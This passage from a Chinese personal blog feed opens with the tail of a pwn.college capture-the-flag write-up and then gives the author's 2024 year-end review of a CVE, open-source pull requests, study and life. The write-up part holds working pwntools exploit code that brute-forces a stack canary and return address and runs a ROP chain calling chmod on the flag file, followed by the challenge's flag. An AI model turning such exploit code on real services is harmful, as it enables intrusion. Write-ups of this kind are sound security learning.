                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def brute_force(target_type, fixed_byte, canary=b&quot;&quot;):
    current = fixed_byte
    length = 0x8 if target_type == &quot;canary&quot; else 0x6
    start_time = time.time()

    while len(current) &amp;lt; length:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                payload = flat(
                    b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;) + current + p8(byte)
                    if target_type == &quot;canary&quot;
                    else b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;)
                    + canary
                    + b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
                    + current
                    + p8(byte)
                )

                target.send(payload)

                response = target.recvall(timeout=5)

                if (
                    target_type == &quot;canary&quot;
                    and b&quot;*** stack smashing detected ***&quot; not in response
                ) or (target_type == &quot;retaddr&quot; and b&quot;transferring control&quot; in response):
                    current += p8(byte)

                    pattern = r&quot;(\d+):\ttransferring control&quot;
                    matches = re.findall(
                        pattern, response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;)
                    )

                    if matches:
                        pid = int(matches[0])
                        os.kill(pid, signal.SIGTERM)
                    else:
                        log.failure(b&quot;No matching PID found!&quot;)
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f&quot;{target_type.capitalize()} brute-forced: {to_hex_bytes(current)} in {elapsed_time:.2f} seconds.&quot;
    )

    return current


def construct_payload(canary, leaked_libc):
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
    libc.address = int.from_bytes(leaked_libc, &quot;little&quot;) - LIBC_OFFSET

    rop = ROP(libc)

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address

    filename = next(libc.search(b&quot;GNU&quot;))
    mode = 0o4

    return flat(
        b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
        canary,
        b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        mode,
        libc.symbols[&quot;chmod&quot;],
    )


def attack(canary, leaked_libc):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        with remote(HOST, PORT) as target:
            payload = construct_payload(canary, leaked_libc)

            target.send(payload)
            target.recvall(timeout=1)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as f:
                log.success(f.read())
            return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        launch(debug=False, attach=False)

        canary = brute_force(&quot;canary&quot;, b&quot;\x00&quot;)
        leaked_libc = brute_force(&quot;retaddr&quot;, b&quot;\xf0&quot;, canary)

        if attack(canary, leaked_libc):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Y_8emGu4QF43dsSwmrNIX6MC17Q.0FM3MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;让我算算这章又打了多久……唔，七天（减去了我中途学堆的三天）！这是不是我打的最快的一章？没印象，好像 shellcode 更快，只打了三天吧？懒得查记录了……&lt;/p&gt;
</content:encoded></item><item><title>2024 年终总结</title><link>https://cubeyond.net/posts/year-end-wrap-ups/2024-wrap-up/</link><guid isPermaLink="true">https://cubeyond.net/posts/year-end-wrap-ups/2024-wrap-up/</guid><description>开心的事，在年终总结，不开心的事，在年终了结。</description><pubDate>Wed, 01 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;启辞&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;去年看见 N1nEmAn 师傅写的&lt;a href=&quot;https://www.cnblogs.com/9man/p/18016847&quot;&gt;年终总结&lt;/a&gt;，就觉得很棒很帅啊，一年能有那么大的成长，别提多激励我了。&lt;/p&gt;
&lt;p&gt;今年，也算是发生了点事吧，虽然不知道能写出来点啥，但是想到就干，哪怕最后只是列年线哈哈哈。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;24 年如白驹过隙，转瞬已是年末。回首这一年，仿佛经历了许多，却又似乎什么也没留下。时光总悄然流逝，来不及细细体味。这一年，忙碌依旧是生活的主旋律，平凡依旧是日子的底色，但每一步都镌刻下独一无二的印记，每一个瞬间都蕴藏着成长的契机。&lt;/p&gt;
&lt;p&gt;失去也罢，获得也好，释怀与成长，欢喜与遗憾，皆已化作岁月的一部分，融入时间的长河，成为记忆的风景。每一次波澜壮阔，每一份静谧安然，都是生命不可或缺的篇章，也是来年继续前行的基石。&lt;/p&gt;
&lt;p&gt;哦对了，25 年是 Python 年，祝大家 Python 年快乐！懂的都懂哈哈哈哈哈哈哈。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3yeqv8sam6.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;成就 | 光辉荣耀既往事，策马扬鞭奔前程&lt;/h1&gt;
&lt;p&gt;总体来看今年成就还真不少，反正相比往年肯定是吊打的哈哈哈，但是我就挑一部分写了。&lt;/p&gt;
&lt;h2&gt;漏洞挖掘&lt;/h2&gt;
&lt;p&gt;今年最令我得意的成就莫过于拿到了我人生中的第一个 CVE 漏洞编号了。2/7/2024 发现的，2/28/2024 通过的审核，是一个高危 8.4/10 的洞，自认为是踩了狗屎运哈哈哈～&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-25817&quot;&gt;CVE-2024-25817&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-3qx3-6hxr-j2ch&quot;&gt;GHSA-3qx3-6hxr-j2ch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5trbnv5g0d.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5xaxlkzxd4.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;审核通过收到的邮件，开心～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67xreqlcnn.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;意外的是 GitHub 居然把这个漏洞写到我的 Highlights 里面了，太酷啦！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axgpmhrm2.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实年底又踩到一个潜在的洞，但是太菜了没研究明白。主要是 gdb 都挂不上去让我很崩溃啊……&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1hsigbvzme.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;开源大业&lt;/h2&gt;
&lt;p&gt;GitHub 用的也是越来越多了，这差距真是天与地之隔……&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.mdekxcvm.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;24 年应该是我入 GitHub 以来提 PR 最多的一年了，下面简单罗列一下吧。有些太水了的我就不写了，~&lt;em&gt;要面子 &amp;gt;w&amp;lt;&lt;/em&gt;~&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dec 24&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个还没合并，放出来充个数吧哈哈哈。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Gallopsled/pwntools/pull/2510&quot;&gt;fix: asm() using incorrect assembler for amd64 architecture&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Nov 16&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gh0stzk/dotfiles/pull/363&quot;&gt;perf: music player widget&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Oct 18&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/moeyua/astro-theme-typography/pull/166&quot;&gt;feat: add word wrap support&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Oct 17&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/moeyua/astro-theme-typography/pull/162&quot;&gt;feat: latex and umami analytics support&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mar 2&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gh0stzk/dotfiles/pull/200&quot;&gt;fix: the universality problem of WallSelect script&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Feb 9&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/timlrx/tailwind-nextjs-starter-blog/pull/849&quot;&gt;enhancement: Add GitHub style admonitions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;虽然不是什么大贡献，但成为一个 104k stars 项目的贡献者感觉真不错～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgh94ck30.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[Dec 31 01:12 AM] 写到这里发现已经 1 AM 了，不过问题不大，白天睡了一天，现在除了肚子有点饿之外一切安好 LMAO&lt;/p&gt;
&lt;p&gt;[Dec 31 01:12 AM] 不行，待我吃点东西再来与你战斗……&lt;/p&gt;
&lt;p&gt;[Dec 31 01:14 AM] 难过了牢底，家里啥都没有……算了。再战斗一会儿，然后顶着被骂的风险去下碗面吃吧（如果有的话）……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;学业 | 摸鱼 Master 也是在学习的&lt;/h1&gt;
&lt;p&gt;这里我倒是没啥想写的，实打实的自律了一整年，无需多言。&lt;/p&gt;
&lt;p&gt;康康 B 站 的学习报告 xD&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr0yrkdf9.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2h8lti9gfo.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4g4sjugshw.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr0yrof4c.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgh94i6gk.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;值得一提的是之前 Vlex 推荐我在星巴克自习，后来我去后发现那边的学习环境确实不错，以后就常去了～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2a5dy2tchn.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;草稿纸收藏家 LOL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgh94mtp6.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一次看到这题的时候我以为这辈子也不可能做出来了，什么逆天题嘛，但最后发现也不过是个纸老虎吧哈哈哈。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.41ycszgcww.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;试问这样的板书谁不爱？真正的 Sketch Master。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gop6onxtl.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.icf36h8tg.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axgpn8qx2.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4g4sjuub7o.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6bhdch7omt.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;计划 | 言必信，行必果&lt;/h1&gt;
&lt;p&gt;突然起来我在我的的&lt;a href=&quot;https://tailwind-nextjs-starter-blog-ruby.vercel.app/&quot;&gt;旧博客&lt;/a&gt;里列过几个计划，翻出来看看完成了几个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Apr 27, 2024 修改：改数据结构和算法为复习 C 语言。&lt;/li&gt;
&lt;li&gt;[x] Feb 17, 2024 新增：微积分！&lt;/li&gt;
&lt;li&gt;[x] Feb 17, 2024 新增：英语四级词汇。&lt;/li&gt;
&lt;li&gt;[ ] ~Feb 17, 2024 新增：数据结构和算法。~&lt;/li&gt;
&lt;li&gt;[x] Feb 17, 2024 新增：复习 x86 汇编语言，总结成博客。&lt;/li&gt;
&lt;li&gt;[x] Feb 17, 2024 新增：健身当然也不能落下！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以说基本全部完成了，第一项 C 语言真没啥好看的，遇到不懂的再去查就完了，根本用不着学……&lt;/p&gt;
&lt;p&gt;微积分的话，AP/College Calculus BC Course Mastery 70% 了，还剩一点，后面慢慢学吧。/懒&lt;/p&gt;
&lt;p&gt;这里必须得隆重感谢两位好友 &lt;a href=&quot;https://www.vernonwu.com/&quot;&gt;@Vlex&lt;/a&gt; 和 @Source，没有你们的耐心教导我学起来真有点小费尽哈哈哈。&lt;/p&gt;
&lt;p&gt;英语词汇算是刷了两遍了，希望 25 年一次过。&lt;/p&gt;
&lt;p&gt;x86 汇编倒是没复习，但是把王爽的 8086 汇编看完了，写得非常好，要我评价的话：行云流水，读起来仿佛在看小说。自认为这是我能给出的最高的评价了（咋不是文科生写不出啥优雅的话哈哈哈），这样的评价可不是每一本书都可以有的。王爽老师提出的 &lt;strong&gt;知识屏蔽&lt;/strong&gt; 更是让我感触颇深，我觉得他是真正意义上做到了循序渐进，非常值得学习。学完我也没忘了整理笔记发在 GitHub 上，参见：&lt;a href=&quot;https://github.com/CuB3y0nd/assembly&quot;&gt;assembly&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;x86 汇编的话，等有时间了再慢慢看好了，之前看过一半，李忠老师写的书也非常棒，很通俗易懂啊哈哈哈。&lt;/p&gt;
&lt;p&gt;最后这个健身的话，说来心痛。只能说我一直没忘，但终归没做到经常练。不过今年练了三个月还是有的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[Dec 31 02:42 AM] 饿爆了，还有点困了，感觉自己就要完蛋……准备执行强制关机，来日再续。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;什么？你问我 25 年有什么计划？这次坚决不列了，我其实不喜欢把计划列出来，讨厌条条框框的限制，还是随性又弹性一点好。心中自然有计划，但不必多言。&lt;/p&gt;
&lt;h1&gt;技术 | 昔日整装待发，今朝乘风破浪&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;[Dec 31 09:00 AM] 没想到只睡了五个小时就自然醒了，下午要是犯困我会很难过的 LOL&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;技术方面，我是从 10/29/2024 这天重拾的 Pwn，在此之前一直在和微积分死磕 LOL&lt;/p&gt;
&lt;p&gt;因为以前断断续续有学过一些 Pwn，所以这次重拾目标清晰，对学完一个知识点后接下来应该学哪个知识点、整体的 roadmap、以及知识点之前的关联都有着不错的认知。回想起 23 年刚摸到门的时候我还处于一个很迷茫的状态，现在一切都逐渐的清晰了起来，还是很不错的。&lt;/p&gt;
&lt;p&gt;七月份的时候刷了一点 &lt;a href=&quot;https://guyinatuxedo.github.io/&quot;&gt;Nightmare&lt;/a&gt; 的题，算是找感觉了。十二月开始刷了 &lt;a href=&quot;https://pwn.college/&quot;&gt;pwn.college&lt;/a&gt;，坚持到现在了。可以看到我前几篇博客都在写 pwn.college 的题解，这一路上学到了很多，对数据的敏感度/洞察力都得到了极大的提升、逐渐克服了调试恐惧症、exp 也是越写越好了（对比之前写的 &lt;a href=&quot;/posts/write-ups/nightmare-series/&quot;&gt;Nightmare series&lt;/a&gt; 差距真的蛮大的），说十二月是我今年在技术上进步最快收获最多的一个月也不为过。&lt;/p&gt;
&lt;p&gt;还有一个说大不大，说小不小的变化就是我的博客。你现在看到的是我迁移到 &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt; 之后的博客，之前在用基于 &lt;a href=&quot;https://nextjs.org/&quot;&gt;Next.js&lt;/a&gt;, &lt;a href=&quot;https://tailwindcss.com/&quot;&gt;Tailwind CSS&lt;/a&gt; 开发的博客，虽然我把域名移除了，但还是可以&lt;a href=&quot;https://tailwind-nextjs-starter-blog-ruby.vercel.app/&quot;&gt;在这里&lt;/a&gt;看到它，当作纪念了。~&lt;em&gt;里面还可以找到很多我的菜鸡文 &amp;gt;w&amp;lt;&lt;/em&gt;~ 23 年的文章都可以在旧博客找到，之所以没一道迁移到现在的博客是因为我觉得当初写的都太菜了哈哈哈。当初迁移的时候就是想以后不能再写又菜又水的文章了，现在开始只发我认为还行的文章。&lt;/p&gt;
&lt;p&gt;既然都说到博客的变迁了，那也说说我建的 &lt;a href=&quot;https://memos.cubeyond.net/&quot;&gt;Memos&lt;/a&gt; 吧。之所以建这个，主要还是因为想远离内耗吧哈哈哈，具体原因可以看&lt;a href=&quot;https://memos.cubeyond.net/m/2zKj2do3NeeXLz97ZYnYKW&quot;&gt;这里&lt;/a&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[Dec 31 11:42 AM] 今天家里没人，自己做饭。&lt;/p&gt;
&lt;p&gt;[Dec 31 11:55 AM] 煮个饭感觉要把手冻脱了 ;-; 上海这除了酷夏就是严冬的感觉我也是认可了……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;生活 | 我向往我还未曾踏入的未知的世界&lt;/h1&gt;
&lt;p&gt;这一年总的来说应该是悲少喜多的一年吧，也可能是悲的我都忘了以至于产生了错觉吧哈哈哈。一向记不住昨日之悲（得，摊牌了。别说昨日了，甚至只过了一个小时的我都不一定能记住），我也想说 wtf 这个能力，不过挺好的～&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[Dec 31 12:42 AM] 饭熟了，先去给自己整点万年不变的荷包蛋/懒&lt;/p&gt;
&lt;p&gt;[Dec 31 02:00 PM] 自家土鸡蛋就是好吃～已经开始期待年三十回乡下了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;人生中的第一、二次和朋友面基都发生在这一年，各发点照片吧。&lt;/p&gt;
&lt;p&gt;首先是 Aug 13 和 N1nEmAn 师傅的面基，大佬最多我最菜的一集。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.26ls0dch11.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6pnt3ciu1u.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7zqq9o2c4g.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apakx64is.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.64e5h1rztq.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32i9ftr9s9.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.491kofgnpq.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32i9ftsavo.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后是 Nov 24 和 Vlex 面基！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70amwi4jsd.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gop6p3rdw.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7snie8p2ub.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7snie8qznz.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.41yct03px1.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vn7p4tncc.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f0za7o156.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f0za7pkxh.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7w74byv4x3.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51eg66n2ve.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Spotify&lt;/h2&gt;
&lt;p&gt;可恶 Imagine Dragons 居然没上榜。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1e8wio0zck.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;碎碎念&lt;/h2&gt;
&lt;p&gt;今年回了几次乡下，随手拍了几张。人生苦短，这才是我所向往的生活～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32i9futyn8.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ojztpxn6l.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6bhdcilf5a.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yyni55xa6.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yyni57dkz.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然，平时也会想从学校溜出去玩 xD&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4qrmd1rraw.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m475o5k41.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qfklni0q.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2ks7raeewl.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.23262pmwhv.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.mdenpv7j.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y23xqyof.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7w74c0e4xm.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vyy7a67mg.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2ks7raukvq.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ojztqy0o2.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99tng1te0e.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;还有两个人吃六人餐，爽的 LOL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5mo3sj7f1x.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;今年上海还几度被台风光顾，~&lt;em&gt;这辈子也算是见过场面，无悔了……&lt;/em&gt;~&lt;/p&gt;
